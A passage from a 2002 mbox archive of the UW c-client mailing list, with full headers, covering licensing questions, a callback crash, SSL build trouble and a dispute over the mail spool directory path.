2002 17:39:21 +0600 Reply-To: manjula@mediasolv.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Manjula Dinesh To: c-client@u.washington.edu Cc: c-client@u.washington.edu Subject: Licensing References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, Will somebody tell me more details about the licensing module of c-client library. I am planing to write a IMAP client using the library and would like to know the issues when redistributing. Thanks -Manjula From pinedev@shivax2.cac.washington.edu Thu Feb 7 09:46:45 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 09:46:45 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HkjTM013194 for ; Thu, 7 Feb 2002 09:46:45 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Feb 07 09:46:41 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HkfPs029175; Thu, 7 Feb 2002 09:46:41 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HjvkG026176; Thu, 7 Feb 2002 09:45:57 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HIxMr038314 for ; Thu, 7 Feb 2002 09:18:59 -0800 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Thu Feb 07 09:18:57 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HIv37023378 for ; Thu, 7 Feb 2002 09:18:57 -0800 Message-Id: Date: Thu, 7 Feb 2002 09:15:45 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matthew Clark Cc: c-client@u.washington.edu Subject: re: c-client library error - question? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN "Unknown event from execution process" means that you did a printf() in a restricted callback (an mm_???() function) which is not allowed to do printf()s. Callbacks must not do I/O to stdio. Treat them like signals. From pinedev@shivax2.cac.washington.edu Thu Feb 7 09:47:44 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 09:47:44 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HlhTM013278 for ; Thu, 7 Feb 2002 09:47:43 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 07 09:47:40 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HlePs029232; Thu, 7 Feb 2002 09:47:40 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HkmAf013642; Thu, 7 Feb 2002 09:46:48 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HPiMr038172 for ; Thu, 7 Feb 2002 09:25:44 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Feb 07 09:25:43 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HPhWn012792 for ; Thu, 7 Feb 2002 09:25:43 -0800 Message-Id: Date: Thu, 7 Feb 2002 09:19:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: manjula@mediasolv.com Cc: c-client@u.washington.edu, imap-license@CAC.Washington.EDU Subject: re: Licensing In-Reply-To: <3C626769.DA617519@mediasolv.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have forwarded your message to imap-license@cac.washington.edu. Be sure to read the terms of the free-fork license. If your use complies with those terms, then you do *NOT* need any other license. From pinedev@shivax2.cac.washington.edu Thu Feb 7 09:53:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 09:53:32 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HrWTM013577 for ; Thu, 7 Feb 2002 09:53:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Feb 07 09:53:29 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HrTmT024797; Thu, 7 Feb 2002 09:53:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HliKT021432; Thu, 7 Feb 2002 09:47:44 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17HfQMr109452 for ; Thu, 7 Feb 2002 09:41:26 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Thu Feb 07 09:41:25 2002 -0800 Received: from mail.braincells.com (samadhi.braincells.com [216.162.42.100]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17HfPAZ030764 for ; Thu, 7 Feb 2002 09:41:25 -0800 Received: from localhost (localhost [127.0.0.1]) by mail.braincells.com (Postfix) with ESMTP id 2B1F38253; Thu, 7 Feb 2002 12:41:24 -0500 (EST) Message-Id: Date: Thu, 7 Feb 2002 12:41:24 -0500 (EST) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Manjula Dinesh Cc: c-client@u.washington.edu Subject: Re: Licensing In-Reply-To: <3C626769.DA617519@mediasolv.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: jaldhar@samadhi.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Feb 2002, Manjula Dinesh wrote: > > Hello, > > Will somebody tell me more details about the licensing module of c-client > library. I am planing to write a IMAP client using the library and would > like to know the issues when redistributing. > If the terms of license are unclear to you, you really ought to consult a lawyer in your jurisdiction. It will save some possible nasty surprises later on. c-client meets the Debian Free Software Guidelines. It basically gives you all the essential freedoms--to redistribute, fork, or modify the software as you see fit. Like the GPL, you are required to make any modifications public plus you have to change the version number and documentation in such a way as to make clear it is not the original distribution from UW. -- Jaldhar H. Vyas It's a girl! See the pictures - http://www.braincells.com/shailaja/ From pinedev@shivax2.cac.washington.edu Thu Feb 7 10:53:19 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 10:53:19 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17IrJTM016925 for ; Thu, 7 Feb 2002 10:53:19 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 07 10:53:07 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17Ir6Ps031811; Thu, 7 Feb 2002 10:53:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17IqPEr033432; Thu, 7 Feb 2002 10:52:25 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17Ip2Mr015140 for ; Thu, 7 Feb 2002 10:51:02 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Feb 07 10:51:02 2002 -0800 Received: from addleston.eee.nott.ac.uk (addleston.eee.nott.ac.uk [128.243.70.70]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17Ip0pj016970 for ; Thu, 7 Feb 2002 10:51:01 -0800 Received: from dilbert (eee.nottingham.ac.uk) [128.243.70.76] by addleston.eee.nott.ac.uk with smtp (Exim 1.82 #1) id 16Ytdg-0001a6-00; Thu, 7 Feb 2002 18:51:20 +0000 Received: from matt by eee.nottingham.ac.uk with esmtp (Exim 1.82 #1) id 16Ytc0-0002cu-00; Thu, 7 Feb 2002 18:49:36 +0000 Message-Id: Date: Thu, 7 Feb 2002 18:49:36 +0000 (GMT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Matthew Clark To: Matthew Clark , Subject: Follow up-> c-client library error - question? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: Matthew Clark X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, list, I have tried (1) using the exact same callbacks as mtest and (2) using do nothing at all callbacks (no IO whatsoever) and I get the exact same problem- I had before (random crashes). I bunged a printf into the start of master to see what master() is parsing (see previous mail) like so "flocksim.c" line 306 of 788 --38%-- while (fgets (tmp,MAILTMPLEN,pi)) { printf("FGETS got:\"%s\"\n",tmp); and this produces FGETS got:"Testing c-client for reading mail " which is a printf message in my main() This occurs when I run my program from a cron job- If i run it from a from the command line it seems (mostly) fine- the intermittant nature of this is rather difficult. matt Mark Crispin wrote: > "Unknown event from execution process" means that you did a > printf() in a restricted callback (an mm_???() function) > which is not allowed to do printf()s. > > Callbacks must not do I/O to stdio. Treat them like > signals. > > -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 7 10:58:25 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 10:58:25 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17IwPTM017120 for ; Thu, 7 Feb 2002 10:58:25 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Thu Feb 07 10:58:22 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17IwLPs032022; Thu, 7 Feb 2002 10:58:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17IvTEr013820; Thu, 7 Feb 2002 10:57:29 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17IudMr016858 for ; Thu, 7 Feb 2002 10:56:40 -0800 Received: FROM mxu4.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Feb 07 10:56:39 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17Iub37022791 for ; Thu, 7 Feb 2002 10:56:38 -0800 Message-Id: Date: Thu, 7 Feb 2002 10:55:38 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Matthew Clark Cc: Matthew Clark , c-client@u.washington.edu Subject: re: Follow up-> c-client library error - question? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Did you do an fflush(stdout) before calling c-client? From pinedev@shivax2.cac.washington.edu Thu Feb 7 13:12:09 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 13:12:08 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17LC8TM023974 for ; Thu, 7 Feb 2002 13:12:08 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Feb 07 13:11:51 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17LBpmT032264; Thu, 7 Feb 2002 13:11:51 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17LASkG024596; Thu, 7 Feb 2002 13:10:28 -0800 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17L7JMr040420 for ; Thu, 7 Feb 2002 13:07:20 -0800 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Thu Feb 07 13:07:19 2002 -0800 Received: from lambton.sslnz.com (intranet.sslnz.com [203.109.146.4]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17L7HWn020339 for ; Thu, 7 Feb 2002 13:07:17 -0800 Received: from there (gregc@courtenay.sslnz.com [192.168.2.252]) by lambton.sslnz.com (8.11.4/8.11.3) with SMTP id g17L7Et19378 for ; Fri, 8 Feb 2002 10:07:14 +1300 Message-Id: <200202072107.g17L7Et19378@lambton.sslnz.com> Date: Fri, 8 Feb 2002 10:06:46 +1300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Greg Cockburn To: c-client@u.washington.edu Subject: c-client and ssl Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi, I am having a problem with a little app called mailsync. I see it has popped up in this mailing list before, but this is related to ssl and is more to do with c-client than mailsync. The issue I have is that I can't seem to use ssl. I compile c-client like so: make slx SSLTYPE=unix SSLDIR=/usr and I have also tried: make slx EXTRAAUTHENTICATORS=ssl SSLTYPE=unix SSLDIR=/usr (but this one doesn't compile) When I put /ssl into the server line of the config I get the following error: ?Can't open mailbox {lambton.sslnz.com/user=gregc/ssl/imap4rev1/readonly/debug}: invalid remote specification any ideas? Thanks. - -- Greg Cockburn, LCA Technical Analyst SSLnz Wellington Ph. +64 4 473 4666 Mobile. +64 25 275 6378 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8Yuxvbz27R/j18RYRAlZjAJ9SOoo+jAVHxzTyUvlzptsbSTQB+QCeIk7C dN5D2YHQEJVKQXn9VsZeAwU= =sFjD -----END PGP SIGNATURE----- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Feb 7 13:25:33 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Feb 2002 13:25:33 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17LPWTM024602 for ; Thu, 7 Feb 2002 13:25:33 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Thu Feb 07 13:25:29 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17LPTPs005131; Thu, 7 Feb 2002 13:25:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17LOKKT018640; Thu, 7 Feb 2002 13:24:20 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g17LJgMr046854 for ; Thu, 7 Feb 2002 13:19:42 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Thu Feb 07 13:19:41 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g17LJepj000513 for ; Thu, 7 Feb 2002 13:19:41 -0800 Message-Id: Date: Thu, 7 Feb 2002 13:14:06 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Greg Cockburn Cc: c-client@u.washington.edu Subject: re: c-client and ssl In-Reply-To: <200202072107.g17L7Et19378@lambton.sslnz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 8 Feb 2002 10:06:46 +1300, Greg Cockburn wrote: > The issue I have is that I can't seem to use ssl. > I compile c-client like so: > make slx SSLTYPE=unix SSLDIR=/usr That should be correct. > and I have also tried: > make slx EXTRAAUTHENTICATORS=ssl SSLTYPE=unix SSLDIR=/usr > (but this one doesn't compile) The setting of EXTRAAUTHENTICATORS=ssl is for an older version and is inappropriate today. > When I put /ssl into the server line of the config I get the following > error: > ?Can't open mailbox > {lambton.sslnz.com/user=gregc/ssl/imap4rev1/readonly/debug}: invalid remote > specification This indicates that you are running a binary that was not built with SSL. Are you ABSOLUTELY sure that that binary is built with an SSL-enabled c-client? Have you verified that the mailsync application does a proper #include early in its main() function? From pinedev@shivax2.cac.washington.edu Sat Feb 9 09:24:27 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 9 Feb 2002 09:24:27 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g19HORTM011889 for ; Sat, 9 Feb 2002 09:24:27 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Sat Feb 09 09:24:25 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g19HOOmT007628; Sat, 9 Feb 2002 09:24:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g19HNNEr071146; Sat, 9 Feb 2002 09:23:23 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g19HKPMr099910 for ; Sat, 9 Feb 2002 09:20:25 -0800 Received: FROM mxu3.u.washington.edu BY mailscan5.cac.washington.edu ; Sat Feb 09 09:20:25 2002 -0800 Received: from hotmail.com (f250.law9.hotmail.com [64.4.8.75]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g19HKPWn018762 for ; Sat, 9 Feb 2002 09:20:25 -0800 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 9 Feb 2002 09:09:02 -0800 Received: from 61.11.80.103 by lw9fd.law9.hotmail.msn.com with HTTP; Sat, 09 Feb 2002 17:09:01 GMT Message-Id: Date: Sat, 09 Feb 2002 22:39:01 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nazer Mohideen" To: c-client@u.washington.edu Subject: My First Question Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [61.11.80.103] X-OriginalArrivalTime: 09 Feb 2002 17:09:02.0116 (UTC) FILETIME=[78ABFE40:01C1B18C] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hy Guys/Gals, This is my first mail. I thought u will be discussing about programming, but i can see u are sharing about sockets. i just downloaded borland compiler. i have no documentaion. After seeing ur discussion, i am very interested to write socket pgms in C. i have done it in Microsoft VB. in vb it very very very simple. But not in C. Can any one you, help me how to write a socket pgm. that is, u need to say how to initilize a socket, how to make a socket listen to a port, how to connect, how to accept, how to recieve/send data With regards Nazer _________________________________________________________________ MSN Photos is the easiest way to share and print your photos: http://photos.msn.com/support/worldwide.aspx -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 12 20:21:35 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Feb 2002 20:21:35 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4LZTM005428 for ; Tue, 12 Feb 2002 20:21:35 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Feb 12 20:21:29 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D4LTPs009295; Tue, 12 Feb 2002 20:21:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4KWkG009626; Tue, 12 Feb 2002 20:20:32 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4HeMr061926 for ; Tue, 12 Feb 2002 20:17:40 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Feb 12 20:17:39 2002 -0800 Received: from orion.physics.wisc.edu (orion.physics.wisc.edu [128.104.223.241]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D4HdWn030081 for ; Tue, 12 Feb 2002 20:17:39 -0800 Received: (from kaufman@localhost) by orion.physics.wisc.edu (8.11.6/8.11.6) id g1D4Hcn06943 for c-client@u.washington.edu; Tue, 12 Feb 2002 22:17:38 -0600 Message-Id: <20020212221738.B6918@orion.physics.wisc.edu> Date: Tue, 12 Feb 2002 22:17:38 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Kaufman To: c-client@u.washington.edu Subject: issue with linux Filesystem Hierarchy Standard Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN hi- the FHS standard at http://www.pathname.com/fhs/ decrees that if the mail system is installed, user mailboxes should be located in /var/mail. so I'm using imap-2001a compiling with "make slx" puts the SPOOLDIR at "/var/spool" instead of "/var", so I got to go check out: "Help! My INBOX is empty! What happened to my messages?" in the FAQ and of course it was no help whatsoever. I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake does the same thing. I don't know about other distros. I'm sure this has been fixed for ages in the dev versions, and/or discussed endlessly in the archives, but I didn't make it there before I implemented my novel solution :) still, there should probably be an alternative explanation in the FAQ anyway. -mike PS: the issue of having to subscribe just to send this informational message is a load of crap. I know it stops spam, but I wonder how many questions, etc you miss from lack of effort to sub. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Feb 12 20:57:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 12 Feb 2002 20:57:56 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4vuTM006307 for ; Tue, 12 Feb 2002 20:57:56 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Feb 12 20:57:54 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D4vrPs010173; Tue, 12 Feb 2002 20:57:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4v8Af013146; Tue, 12 Feb 2002 20:57:08 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g1D4tlMr031292 for ; Tue, 12 Feb 2002 20:55:47 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Feb 12 20:55:46 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g1D4tjWn003681 for ; Tue, 12 Feb 2002 20:55:46 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id UAA11237; Tue, 12 Feb 2002 20:55:36 -0800 (PST) Message-Id: Date: Tue, 12 Feb 2002 20:47:42 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Kaufman Cc: c-client@u.washington.edu Subject: re: issue with linux Filesystem Hierarchy Standard In-Reply-To: <20020212221738.B6918@orion.physics.wisc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 12 Feb 2002 22:17:38 -0600, Mike Kaufman wrote: > the FHS standard at http://www.pathname.com/fhs/ > decrees that if the mail system is installed, user mailboxes should be > located in /var/mail. Who delegated the authority to decress this to them? > compiling with "make slx" puts the SPOOLDIR at "/var/spool" instead of > "/var" Well, golly gee, on the Linux systems that I use, the spool directory is on /var/spool/mail. Some but not all of them have symlinks from /var/mail to /var/spool/mail. So some propellerhead has decided to further exacerbate confusion by setting a "standard" that is incompatible with existing Linux systems. And it's my fault that I support what's compatible with existing Linux systems? > I see that Redhat puts a symlimk to /var/spool/mail, It appears Mandrake > does the same thing. I don't know about other distros. On the Redhat systems I use, it's on /var/spool/mail and there's no link from /var/mail. > I'm sure this has been fixed for ages in the dev versions, and/or > discussed endlessly in the archives, but I didn't make it there before I > implemented my novel solution :) If by "fix" you mean "change from /var/spool/mail to /var/mail", it hasn't been since that would break the Linux systems it works on now. > PS: the issue of having to subscribe just to send this informational message > is a load of crap. I know it stops spam, but I wonder how many questions, > etc you miss from lack of effort to sub. Probably much fewer than the number of offers for get-rich-quick schemes, quack medicines, worthless stocks, pornography, etc. If the c-client list didn't limit posting to list members, I wouldn't see any of the messages anyway, because I would unsubscribe from it. From pinedev@shivax2.cac.washington.edu Tue Feb 12 21:26:09 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user 